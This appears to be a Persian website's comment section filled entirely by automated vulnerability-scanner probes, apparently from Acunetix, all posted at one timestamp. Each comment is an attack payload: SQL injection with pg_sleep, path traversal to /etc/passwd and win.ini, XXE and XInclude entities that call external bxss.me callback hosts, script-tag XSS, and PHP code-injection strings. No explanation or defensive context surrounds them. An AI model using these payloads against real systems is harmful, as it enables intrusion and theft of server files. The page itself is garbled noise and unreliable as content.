۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

Yn4PLRzE');select pg_sleep(6); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

&n905621=v927704

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

Fgo0weAn'));select pg_sleep(6); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

..

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

)

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

!(()&&!|*|*|

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

^(#$!@#$)(()))******

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

file:///etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/\../\../\../\../\../\../\../etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

WEB-INF/web.xml

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

'"()

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/WEB-INF/web.xml

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

WEB-INF\web.xml

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../windows/win.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../boot.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../windows/win.ini.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

................windowswin.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

..\..\..\..\..\..\..\..\windows\win.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

http://testasp.vulnweb.com/t/xss.html?%00.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

comment

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

http://hitRqXN8ceJbf.bxss.me/

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

comment

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

WEB-INF/web.xml

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

comment/.

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

WEB-INF\web.xml

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1'"

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

\

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

@@tfDhS

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

JyI=

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/www.vulnweb.com

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE acunetix [ <!ENTITY acunetixent SYSTEM "http://hitoc7XmNC2te.bxss.me/"> ]> <xxx>&acunetixent;</xxx>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

(select convert(int,CHAR(65)))

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://hit5bP4o82dAU.bxss.me/"> <roottag>acunetix</roottag>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

'"

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<xi:include href="http://hitTdSq4BfBHB.bxss.me/" parse="text"/>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<!--

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1'"()&%<acx><ScRiPt >QlYw(9174)</ScRiPt>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://hitVf7syT08UD.bxss.me/"> %xxe; ]>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

'"()&%<acx><ScRiPt >QlYw(9265)</ScRiPt>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1_9867

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE body SYSTEM "http://hit2C43ZN0S9y.bxss.me/"> <body><method>test</method></body>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

;print(md5(acunetix_wvs_security_test));

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

';print(md5(acunetix_wvs_security_test));$a='

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

";print(md5(acunetix_wvs_security_test));$a="

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

${@print(md5(acunetix_wvs_security_test))}

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

${@print(md5(acunetix_wvs_security_test))}\